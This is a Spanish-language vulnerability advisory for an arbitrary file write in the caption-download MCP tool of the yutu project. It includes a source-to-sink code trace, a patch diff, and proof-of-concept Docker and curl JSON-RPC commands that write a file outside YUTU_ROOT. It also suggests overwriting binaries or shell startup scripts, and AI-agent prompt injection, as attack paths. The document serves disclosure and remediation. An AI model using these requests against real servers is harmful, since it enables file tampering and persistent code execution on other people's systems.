Escritura arbitraria de archivos via herramienta MCP caption-download

Resumen

La herramienta MCP caption-download de yutu pasa el parámetro file proporcionado por el invocador directamente a os.Create() en pkg/caption/caption.go:272 sin ninguna validación de ruta, canonicalización ni confinamiento al límite pkg.Root (YUTU_ROOT). Un atacante local, o cualquier proceso capaz de alcanzar el servidor HTTP MCP, puede escribir contenido arbitrario en cualquier ruta con permisos de escritura para el proceso yutu, completamente fuera del directorio de trabajo previsto. Esta vulnerabilidad tiene severidad High (CVSS 7.7) con impacto alto en integridad y disponibilidad.

Detalles técnicos

yutu utiliza pkg.Root (respaldado por os.OpenRoot de Go 1.24) para restringir todas las operaciones de E/S de archivos al directorio YUTU_ROOT. Todos los demás métodos de escritura de archivos de subtítulos respetan este límite:

MétodoDestinoConfinado
Caption.Insert()pkg.Root.Open(c.File) (caption.go:109)
Caption.Update()pkg.Root.Open(c.File) (caption.go:193)
Caption.Download()os.Create(c.File) (caption.go:272)No

Caption.Download() es el único caso atípico. El campo file controlado por el atacante fluye sin restricción desde el esquema de entrada de la herramienta MCP hasta una llamada directa a os.Create():

  1. Fuente: cmd/caption/download.go:32-41 declara file como campo string requerido en el esquema JSON de entrada MCP.
  2. Enlace: cmd/caption/download.go:61-64, cobramcp.GenToolHandler mapea la entrada MCP a input.Download(writer).
  3. Destino: pkg/caption/caption.go:272, os.Create(c.File) crea o trunca el archivo en la ruta proporcionada por el atacante.
  4. Escritura: pkg/caption/caption.go:280, file.Write(body) escribe los bytes del subtítulo descargado en esa ruta.
go
// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
    Required: []string{"ids", "file"},          // línea 34
    // ...
    "file": {Type: "string", Description: fileUsage},  // línea 40
}

// cobramcp.GenToolHandler enlaza MCP con el handler (líneas 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
    return input.Download(writer)
})

// pkg/caption/caption.go
body, err := io.ReadAll(res.Body)   // línea 267
file, err := os.Create(c.File)      // línea 272  <- destino sin confinamiento
// ...
_, err = file.Write(body)           // línea 280

La herramienta caption-download se registra por defecto en init() en cmd/caption/download.go:52, y el servidor HTTP MCP arranca con --auth en false por defecto (cmd/mcp.go:42), lo que significa que no se requiere autenticación para invocadores HTTP locales.

Corrección recomendada

diff
--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
-       file, err := os.Create(c.File)
+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
        if err != nil {
                return errors.Join(errDownloadCaption, err)
        }

Prueba de concepto (PoC)

Prerequisitos:

  • yutu 0.0.0-dev / commit 351c99d
  • Variables YUTU_CREDENTIAL y YUTU_CACHE_TOKEN válidas disponibles
  • Servidor MCP de yutu ejecutándose en modo HTTP

Reproducción basada en Docker (sin credenciales reales):

El PoC autocontenido construye un binario que ejercita caption.Download() directamente dentro de un contenedor, con YUTU_ROOT=/tmp/yutu_safe_root como límite de confinamiento.

bash
# Desde la raíz del workspace del reporte:
docker build --no-cache -t yutu-vuln001-poc \
    -f vuln-001/Dockerfile \
    reports/mcp_49_eat-pray-ai__yutu

docker run --rm yutu-vuln001-poc

La salida esperada confirma:

  • pkg.Root.Open("/tmp/poc-arbitrary-write.txt") es correctamente rechazado con path escapes from parent (control).
  • caption.Download() con file="/tmp/poc-arbitrary-write.txt" tiene éxito y crea un archivo de 79 bytes fuera de YUTU_ROOT (explotación).

Reproducción con servidor MCP en vivo:

bash
# Iniciar el servidor HTTP MCP (sin autenticación por defecto)
yutu mcp --mode http --port 8216

# Inicializar sesión
curl -sD /tmp/yutu.headers \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
  >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')

# Explotación: escribir subtítulo en ruta arbitraria
# Sustituir CAPTION_ID por un id de subtítulo accesible con el token configurado
curl -s \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  ${SID:+-H "Mcp-Session-Id: $SID"} \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verificar que el archivo fue escrito fuera de YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Impacto

Esta es una vulnerabilidad de escritura arbitraria de archivos (CWE-73). Cualquier entidad que pueda invocar la herramienta MCP caption-download, incluido un proceso local no autenticado cuando el servidor HTTP MCP se ejecuta con la configuración por defecto (--auth false), puede escribir bytes controlados por el atacante en cualquier ruta de archivo accesible al proceso yutu. Esto elude el límite de confinamiento YUTU_ROOT que respetan todas las demás operaciones de escritura de archivos en yutu.

Consecuencias potenciales:

  • Sobreescritura de binarios de aplicación, archivos de configuración o scripts de inicio de shell para lograr ejecución de código persistente.
  • Corrupción de archivos de log o bases de datos para causar DoS.
  • Escritura de archivos accesibles via web en despliegues donde yutu se ejecuta junto a un servidor web.
  • Explotable mediante inyección de prompt en un agente de IA que utilice el servidor MCP de yutu, ya que el parámetro file está completamente bajo control del atacante sin ninguna restricción.

Partes afectadas: operadores que ejecutan yutu como servidor MCP en modo HTTP con configuración por defecto, pipelines de agentes de IA que exponen caption-download a entradas no confiables, y cualquier usuario cuya máquina aloje un proceso yutu alcanzable por un atacante local.